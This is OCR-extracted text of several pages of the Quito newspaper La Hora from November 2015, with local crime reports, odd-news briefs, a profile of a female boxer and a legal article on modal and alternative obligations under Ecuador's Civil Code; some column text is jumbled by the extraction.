hombre hasta cambiar el billete pero que luego fue trasladada a una vivienda fuera de la ciudad, y al reclamar pidiendo ver a su familia fue amenazada. Según la menor, cuando el sujeto volvió a la capital, al momento en que llegaron a un parque, tuvo la oportunidad de escapar luego de esconderse. Minutos después

una persona ayudó a la niña y le regaló 12 centavos, con esto pudo retornar a su hogar. Enríquez, en una rueda de prensa prefirió no ahondar en detalles y dijo que las investigaciones se mantendrán hasta ver lo que realmente pasó. La menor describió a la Policía el perfil del sujeto que se presume la secues-

tró durante tres días. Sobre su estado de salud de igual forma se omitió difundir los resultados pero se dijo que se está cumpliendo un protocolo y que llegarán al fondo del problema. A la menor le acompaña su madre, ellas permanecieron por varias horas en la Unidad de Flagrancia de La Fiscalía. (PSD)

Zozobra en la parada de El Cumandá

El asesinato de dos personas en la parada de El Cumandá, ubicada en pleno Centro Histórico, ocurrido el pasado domingo mantiene en angustia a la gente que labora en el sector. Los que vieron este hecho de sangre prefieren callar y no faltan curiosos que desean indagar que es lo que pasó. Uno de los sujetos que estuvo en el sitio ayer comentó que al presunto autor lo habían visto ingresar a la parada como lo hace cualquier usuario, pagó los 0,25 centavos que se cobra por el servicio y agrega que esperó hasta que llegará la unidad en la que viajaban las víctimas. Las dos personas descendieron del bus y el sujeto que les esperaba los siguió hasta el torniquete y fue allí cuando les propinó varios tiros. Después, el presunto autor de la balacera salió de la parada y caminando descendió por las gradas que conducen hasta el parque de El Cumandá. El testigo que prefiere mantenerse anónimo dijo que se respira un ambiente de miedo en todo el sector, que la gente comenta el hecho y señala con

sus manos el sitio donde quedaron inmovilizados los cuerpos. Todo esto mientras la Policía investiga el hecho. A él, este hecho de sangre le recordó el tiempo en que en este sitio operaba la Terminal Terrestre, dijo que en las noches y madrugada la gente se metía bala, que se escuchaban chillidos y lamentos y que después llegaba la Policía, era algo que se repetía a diario. La identidad de los fallecidos no ha sido revelada por la Policía pero se calcula que tenían entre 25 y 30 años de edad, en el sitio no hay vidrios rotos ni huellas de balas, por lo que se presume que las detonaciones que se escucharon fueron directo a la humanidad de los dos sujetos siniestrados. Usuarios que ayer llegaron a esta parada se mostraron miedosos de pronunciarse, unos jóvenes que se detuvieron en el sitio a bordo de una camioneta solo criticaron el hecho y culparon de lo ocurrido a las autoridades. (PSD) P.ab/19984

curioso a14

miércoles 04 de NOVIEMbre de 2015 La Hora Quito, ecuador

I

Vendió una tonelada de droga desde su habitación México, MSN • Increíble, pero cierto. Un joven alemán de 20 años montó desde su habitación un pequeño imperio de la droga en Leipzig. Amasó una fortuna de cuatro millones de dólares gracias a los 914 kilos de hachís, éxtasis, cocaína, LSD o pastillas con receta que logró vender en línea. Los medios locales ya han apodado a Maximiliano S. como “el traficante de la habitación” por su actividad criminal que ha llevado a cabo desde 2013 hasta 2015. Este febrero la Policía logró capturarlo con 300 kilos de droga en el apartamento de la madre y ahora el Tribunal Superior de Leipzig le ha condenado

siete años de cárcel. Para ocultar sus huellas, el joven alemán alquilaba servidores de un ordenador en Holanda, utilizaba direcciones IP de toda Alemania, cifraba su correo electrónico, enviaba la droga por correo certificado, cobraba con la moneda virtual Bitcoin y después escondía el dinero en cuentas bancarias con una identidad falsa. Según informa el rotativo alemán Bild, la Policía logró atraparlo porque uno de sus envíos se quedó en la puerta de un destinatario y los vecinos descubrieron la sorpresa al abrir la caja. Aunque todavía no han podido identificar a su proveedor. Durante el juicio, el juez confesó que no apreció arrepentimiento en el joven ante el tribunal. Incluso le cazaron sonriendo. En la evaluación psiquiátrica se le describió como una persona que carecía de madurez emocional y con un comportamiento social perturbado. “Al final se trataba de una sola cosa, quería ser el más grande y mejor en el tráfico de drogas online”, afirmó el fiscal Andre Kuhnert.

MOMENTO. La popular chica de la web en una de sus fotografías de Instagram

La estrella de Instagram que revela sus engaños Cansada de una imagen falsa sobre sí misma, la celebridad de las redes publica su verdad.

ARCHIVO. Cientos de patillas de éxtasis, droga que vendía el traficante.

Ministro israelí propone deportar a los gatos callejeros YAHOO.ES • Una insólita medida

propuso el ministro de Agricultura de Israel, Uri Ariel, al pretender expulsar del país a miles de gatos callejeros. La autoridad explicó que la idea es evitar castrarlo, al considerar el procedimiento contrario a los preceptos religiosos. La iniciativa generó el rechazo de los grupos animalistas, quienes exigen mantener el método tradicional, por lo que han iniciado una campaña

DOMÉSTICO. Ni siquiera los felinos se salvarán de los problemas con migración.

que ya lleva más de nueve mil firmas. “La castración es un acto de gran importancia para que no nazcan nuevos gatos a este cruel mundo”, dijo Orna Banai, una popular actriz y activista, en declaración al servicio de noticias Ynet. Cabe señalar que la proliferación de gatos es una problemática habitual en Israel. Según cifras de las autoridades, en los últimos años han sido castrados más de 100 mil felinos.

YAHOO.ES • En un paisaje idílico, tumbada sobre una toalla y luciendo un vientre perfecto. Así aparece la modelo Essena O’Neill, de 18 años, en una de sus fotografías de Instagram, pero la realidad no es tan obvia. Esa imagen es el resultado final de más de 100 tentativas con la misma pose para conseguir que su estómago se viera bien. “Me hubiera gustado comer bien ese día. Probablemente le grité a mi hermana pequeña hasta que consiguiera una foto que me gustara”. La joven australiana confiesa esta y otras verdades que esconden sus instantáneas y ya ha tomado una decisión: aban-

donar la plataforma donde tiene 712.000 seguidores porque, dice, “las redes sociales no son la vida real”. El 27 de octubre, O’Neill eliminó más de dos mil fotografías que había compartido con otros usuarios en Instagram “que no sirvieron para otro propósito que no fuera la auto promoción” y creó una página web para ayudar a otros adolescentes y jóvenes a desengancharse de los follows y los likes, relata la modelo. Testimonio

En su sitio ‘Let’s be Game Changers’ (vamos a cambiar el juego), la australiana comparte vídeos y textos en los que relata y confiesa

sus sentimientos y hasta ha escrito su declaración de principios. “Para ser realistas, he pasado la mayor parte de mi vida siendo adicta a las redes sociales, la aprobación social, el estatus social y mi apariencia física. Estaba consumida por ello. ¿Cómo podemos darnos cuenta de nuestros propios talentos si no dejamos de fijarnos en los demás?”, ha escrito O’Neill en la última fotografía que ha subido a Instagram, hace una semana, y que dice: “Somos una generación de cerebros lavados”. La modelo explica que no ha eliminado todas las fotografías que tenía, sino que ha retitulado algunas para confesar cuál es el auténtico proceso de preparación que hay detrás de cada una. También ha pedido perdón por engañar, pero, dice, “no lo hacía conscientemente, estaba obsesionada con gustar a los demás”.

El árbitro que festeja los goles AGENCIAS • Tras el triunfo del Tottenham por 3 a 1 ante el Aston Villa, la televisión pudo captar el momento exacto en que el árbitro Mike Dean alza los brazos y corre a Moussa Dembélé en lo que parece un principio de abrazo, luego de que el futbolista abriera el marcador. Finalmente el juez decide desviar su recorrido y señala el centro del campo con un gesto bastante eufórico, validando el lícito tanto del futbolista belga. En las redes sociales se manifestó rápidamente el enojo de los fanáticos y las diversas interpretaciones sobre lo ocurrido. Sin embargo, otros usuarios publicaron antecedentes de este

mismo árbitro en ocasiones similares a las de la última fecha. Dean tiene 47 años, comenzó su carrera como árbitro en 1985 y en el año 1998 llegó a la Premier League. En septiembre de 2015, aficionados del Arsenal juntaron 100.000 firmas y crearon una petición para evitar que Dean volviera a dirigirlos tras un polémico partido ante el Chelsea. Lo cierto es que árbitro no realizó declaraciones al respecto y si bien parece mentira que un profesional de su experiencia festeje los goles de un equipo, los videos dejan demasiadas dudas. Mientras tanto, el Tottenham se ubica quinto en la tabla de po-

SORPRESA. Momento en el que al parecer el réferi se emociona por los goles del Tottenham.

siciones y sólo ha sido derrotado una vez desde que comenzó esta nueva temporada de la liga inglesa, fue por 1 a 0 ante el Manchester United en la primera fecha del certamen. SUGERENCIAS O TEMAS Para la sección curioso@lahora.com.ec

reporte

A15

tiempo lectura 15 min.

miércoles 04 de noviembre de 2015 La Hora Quito, ecuador

I

DEDICACIÓN. Su gran pasión es el boxeo. Cuando acaba la jornada laboral se va directo a entrenar.

El sueño de una guerrera Nina Vega es una de las pocas boxeadoras profesionales que existe en Ecuador.

L

as apariencias en- su jornada laboral abarca desde gañan. Eso es algo las 7:00 hasta las 18:00. Trabaja que Nina Vega lo los siete días de la semana. Dessabe muy bien. pués de 11 horas de trabajo toDurante el día davía tiene la energía suficiente atiende con esme- para irse a entrenar a La Tola, el ro su puesto de pa- único centro deportivo donde le pas en el Mercado de Chiriyaku dejan, debido a su condición de que regenta desde hace seis años. profesional. “Cuando era amateur iba a Luego, cuando acaba su larga jornada laboral, se transforma varios, como a la Concentración de Pichincha, y me dejaban enen una aguerrida boxeadora. Vega es una de las pocas trenar, pero desde que soy profeboxeadores profesionales mujer sional ya no. Gracias a mi entrenador Segundo Chango que hay en Ecuador, en un puedo entrenar en La deporte dominado total- El Dato Tola, allí no hay problemente por los hombres. La historia de esta joven El contacto tele- ma”, explica con cierta originaria de Tigua (Coto- fónico de Nina resignación. para un posible En el caso de Nina, lo paxi) es la de una lucha- patrocinio: 0979 único que la hace prodora, una mujer que per- 091 999 fesional es que cuando sigue un sueño, un sueño que se aleja de lo convencional, realiza un combate ella cobra, un sueño que hasta ahora, y al contrario que un amateur. A gracias a su gran sacrificio, está pesar de que entrena todas las semanas de lunes a viernes esta siendo una realidad. joven boxeadora lleva más de un año sin competir, debido a la diSacrificio diario Los días de Nina comienzan a las ficultad y los costos que supone 5:00 de la mañana, cuando se le- una velada pugilística. vanta para entrenar una hora – correr, y algo de gimnasio-, luego Patrocinio se ducha y se va al trabajo, ya que Es por esa razón que Nina espe-

TRABAJO. Nina Vega trabaja los siete días de la semana en su puesto de papas en el Mercado Chiriyaku.

ra que alguna marca deportiva, asociación o incluso particular le ofrezca algún tipo de subvención para poder seguir preparándose como boxeadora profesional. Sin embargo, y a pesar de esta sequía forzada, Nina no pierde la esperanza. Sabe que su momento llegará pronto, y espera algún día no muy lejano poder llegar a enfrentarse con dos de sus ídolos, la mexicana Jessica Chávez, campeona americana de boxeo o

bien con la púgil argentina Jessica Bob. Mientras tanto sigue entrenando con ahínco. Ser boxeador mujer no es fácil, en Ecuador todavía quizás más. Nina explica que el boxeo es un deporte muy machista, y que algunos familiares y amigos le cuestionan su pasión y le dicen que eso no es para mujeres. Anécdota pugilística

Seguramente lo más divertido

que le ha pasado fue cuando en alguna ocasión llegó a su puesto de trabajo con un ojo morado a causa de un golpe en un entrenamiento: “las clientas me decían que aunque yo lo quisiera mucho a mi marido que no le permitiera que me hiciera eso, yo les tenía que repetir una y otra vez que no tenía marido y que me lo había hecho practicando boxeo, pero creo que muchas mujeres no se lo creían”. (MAP)

50c incl. IVA miércoles 04 de NOVIEMBRE de 2015

Quito, Ecuador

36 páginas

Ecuador

al Mundial de karting

Juan Diego Villacís, Henry Taleb Jr. y Patricio Larrea representarán al país en el Mundial de karting en Portugal. Página A9

Real Madrid ya está en octavos El equipo español ganó 1-0 al PSG y accedió, de forma matemática, a los octavos de final de la Liga de Campeones. Página B16

Encontró de nuevo a su hija Su hija, de ocho años, desapareció tras dejarla sola por un momento mientras cambiaba un billete de 20 dólares. Página A13

La verdad sobre su muerte La viuda de Robin Williams habla

por primera vez sobre lo que llevó al comediante a quitarse la vida. PÁGINA B10

C1

REVISTA JUDICIAL C00

MIÉRCOLES 4 DE NOVIEMBRE DE 2015 La Hora QUITO, ECUADOR REVISTA No: 11235

LUNES 24DE NOVIEMBRE DE 2008 La Hora QUITO, ECUADOR

Director DR. FRANCISCO VIVANCO RIOFRÍO AUTOR: DRES. IVÁN TORRES PROAÑO Y CECILIA SALAZAR SÁNCHEZ

Editora NATHALY SALAZAR BRITO

ES UNA EDICIÓN DE DIARIO LA HORA

http//www.derechoecuador.com

Dirección: Panamericana Norte Km 31/2 y Nazareth | Telf: 2475723 al 728 | E-mail: judicial@derechoecuador.com

Obligaciones sujetas a Modo y Obligaciones con Pluralidad de Objetos

Habíamos indicado que las obligaciones pueden estar sujetas a tres tipos de modalidades, esto es, condición, plazo y modo Analizados los dos primeros en ediciones anteriores de esta Revista Judicial, procederemos a analizar el modo. Las asignaciones modales denominadas obligaciones con cargo en otras legislaciones como la Argentina, están contempladas en el artículo 1117 C.C., en el parágrafo referente a De las asignaciones modales, en el Titulo III, De la ordenación del testamento, del Libro III del Código Civil, referente a La sucesión por causa de muerte y de las donaciones entre vivos.i Somarriva y Alessandri explican la razón de ser de la ubicación de las obligaciones sujetas a modo en el Código Civil, al decir “…Si no lo hizo en las obligaciones, es porque no es lo corriente ver un modo afectando un contrato, sino a las asignaciones testamentarias o a las donaciones entre vivos” . El artículo 1117 C.C., aproxima de lo que hemos de entender como modo y señala: Si se asigna algo a una persona para que lo tenga por suyo con la obligación de aplicarlo a un fin especial, como el de hacer ciertas obras, o sujetarse a ciertas cargas, esta aplicación es un modo, y no una condición suspensiva. El modo, por consiguiente, no suspende la adquisición de la cosa asignada. Modo o cargo según Alterini es “… una obligación accesoria y excepcional con la que se grava al adquirente de un derecho, verbigracia, Juan lega su casa a Pedro con el cargo de que construya un monumento en su memoria. Esta figura también es denominada carga, modo y gravamen”ii.

forma especial prescrita por el testador, podrá cumplirse en otra análoga que no altere la sustancia de la disposición, y que en este concepto sea aprobada por el juez, con citación de los interesados”. d) Si el modo, sin hecho o culpa del asignatario, es solamente imposible en la forma especial prescrita por el testador, podrá cumplirse en otra análoga que no altere la sustancia de la disposición, y que en este concepto sea aprobada por el juez, con citación de los interesados. e) Jamás se entenderá contenido un modo de forma tácita, a diferencia de la condición resolutoria tácita. f) Si el modo es, por naturaleza, imposible, o inductivo o un hecho ilegal o inmoral, o concebido en términos ininteligibles, no valdrá la disposición.

• Diferencias entre modo y condición a) El modo es una carga accesoria adicional que no suspende ni resuelve la obligación a diferencia de la condición. b) El incumplimiento del modo, no acarrea ninguna sanción para quien lo soporta, salvo que sea un modo sujeto a cláusula resolutoria. c) El modo puede cumplirse por equivalencia, como lo dispone el artículo 1121 C.C., cuando indica “Si el modo, sin hecho o culpa del asignatario, es solamente imposible en la

Obligaciones con Pluralidad de Objetos Las obligaciones con pluralidad de objetos u objeto compuesto son aquellas que presenta una pluralidad de prestacionesiii. En contraposición, las obligaciones simples o sencillas son aquellas que están conformadas, por una sola contraprestación. La doctrina coincide en clasificar a las obligaciones con pluralidad de objetos en conjuntivas, alternativas y facultativas.

• Clases de modo Hay dos clases de modo, esto es, el modo simple y el modo condicional. El primero sería el que hemos analizado; y, el segundo es cuando el que impone el modo o cargo, también introduce una cláusula resolutoria, de tal forma que el incumplimiento del modo acarrea la extinción del derecho, situación que debe ser expresamente determinada por quien impone el modo. El artículo 1118 C.C., permite esta posibilidad.

Obligaciones Conjuntivas

Llamadas de objeto conjunto, a decir de Pizarro y Vallespinosiv no es relevante, pues son aquellas que tienen prestaciones acumulativas y al decir de estos autores lo único que sucede es que difieren cuantitativamente de las de objeto simple, todas las prestaciones entran en la obligación y todas en la solución de pago. En vez de tener que entregar un auto, debo entregar dos o tres. Por lo tanto, los efectos no varían entre la obligación de objeto simple y la de objeto conjunto. Para Alessandri y Somarriva si hay una diferencia clara entre referirse a varios objetos y las obligaciones conjuntas, lo que se aprecia mejor en los ejemplos que dichos autores apelan. El ejemplo que refieren es que Juan vende a Pedro la casa A y B por 100, ésta es una obligación conjunta a decir de los autores. Pero señalan “Pero no es conjuntiva, sino que simple, la obligación que se refiere a varias cosas al mismo tiempo considerándolas separadamente, “por ejemplo, Pedro vende a Juan un caballo, un buey y un terreno de una hectárea de superficie, estableciendo en el contrato que el precio del caballo es mil pesos, el del buey quinientos pesos y el de terreno diez mil pesos. En este caso hay tantas deudas como cosas contenidas en la promesa y no solo una obligación conjuntiva”v. La consecuencia derivada de esta interpretación radica en que Somarriva y Alessandri concluyen que la obligación conjuntiva es indivisible, no puede ser pagada ni entregada por partes, sino debe ser entregado todo y pagado todo, aun cuando haya pluralidad de objetos en la obligación. Obligaciones Alternativas El artículo las define como aquellas por las cuales se deben varias cosas, de tal manera que la ejecución de una de ellas exonera de la ejecución de las otras.

A diferencia de las obligaciones conjuntivas, el deudor quedará libre de la obligación, solo debe pagar o ejecutar en su totalidad una de las cosas que alternativamente deba; y no puede obligar al acreedor a que acepte parte de una y parte de otra, debiendo ser el deudor quien elige qué entregar, a menos que se haya pactado lo contrario. La determinación de quién elige la cosa para cumplir la obligación influirá en los efectos que tengan este tipo de obligaciones. Así, si el deudor elige: − El acreedor no puede demandar determinadamente una de las cosas debidas, sino bajo la alternativa en que se le deben. − El deudor puede enajenar o destruir cualquiera de las cosas que alternativamente debe, mientras subsista una de ellas. Si el acreedor elige: Si la cosa elegida perece por culpa del deudor, podrá el acreedor, a su arbitrio, pedir el precio de esta cosa y la indemnización de perjuicios, o cualquiera de las cosas restantes. Ahora bien, al ser obligaciones alternativas, si una de las cosas alternativamente prometidas no podía ser objeto de la obligación o llega a destruirse, subsiste la obligación alternativa de las otras; y si una sola resta, el deudor está obligado a ella, por tanto para que el deudor se libere de la obligación deberá dar una de las cosas, objeto de la obligación. En el tema de la extinción de la cosa, las reglas generales guiarán las diferentes situaciones. Podría darse que perecen todas las cosas comprendidas en la obligación alternativa, sin culpa del deudor, entonces se extingue la obligación; pero si es con culpa del deudor, estará éste obligado a pagar el precio de cualquiera de las cosas que elija, cuando la elección le corresponde; o a pagar el precio de cualquiera de

las cosas que el acreedor elija, cuando la elección corresponde al acreedor. Obligaciones Facultativas El artículo 1521 C.C. se refiere a la obligación facultativa como la que tiene por objeto una cosa determinada, pero concediéndose al deudor la facultad de pagar con esta cosa o con otra que se designa. A diferencia de la obligación alternativa, en esta obligación, el acreedor no tiene derecho para pedir otra cosa que aquella a que el deudor está directamente obligado, porque la obligación nace con una prestación determinada, y la pluralidad aparece solo al momento de cumplir la obligación. Borda define a estas obligaciones como aquellas que teniendo por objeto una sola prestación principal, confiere al deudor la posibilidad de liberarse de ella mediante el pago de otra prestación prevista en el contrato con carácter subsidiario. Por disposición de la norma, la elección de la cosa que extinguirá la obligación es única y exclusiva del deudor, y por lo tanto perecida la cosa principal, la obligación se extingue, no pudiendo el acreedor ir en contra de la otra prestación. Borda continúa diciendo que: … Puesto que hay una prestación principal y otra accesoria, es la primera la que determina la naturaleza del contrato. Si la primera obligación es nula, queda sin efecto la obligación accesoria, pero la nulidad de la prestación accesoria no tiene ninguna influencia sobre la principal. Esto marca una diferencia neta con las obligaciones alternativas en las cuales las prestaciones tienen el mismo rango y son independientes entre sívi. Finalmente, el artículo 1523 C.C., establece que en caso de duda sobre si la obligación es alternativa o facultativa, se tendrá por alternativa. En una próxima entrega de esta Revista Judicial hablaré sobre las Obligaciones con Pluralidad de Sujetos. Artículo publicado en el Libro “De las Obligaciones y Contratos Civiles”. Editorial Corporación de Estudios y Publicaciones i Vodanovic, Antonio, Ob. Cit., página 109. ii Alterini, Aitilio, Derecho de Obligaciones Civiles y Comerciales, Cuarta Edición actualizada, Editorial Abeledo Perrot, Buenos Aires, Argentina, 2008, página 488. iii Pizarro, Ramón y Vallespinos, Carlos, Ob. Cit., página 474. iv Pizarro, Ramón y Vallespinos, Carlos, Ob. Cit., página 475. v Vodanovic, Antonio, Ob. Cit., página 126. vi Borda, Guillermo, Ob. Cit., página 214.

CYAN MAGENTA YELLOW BLACK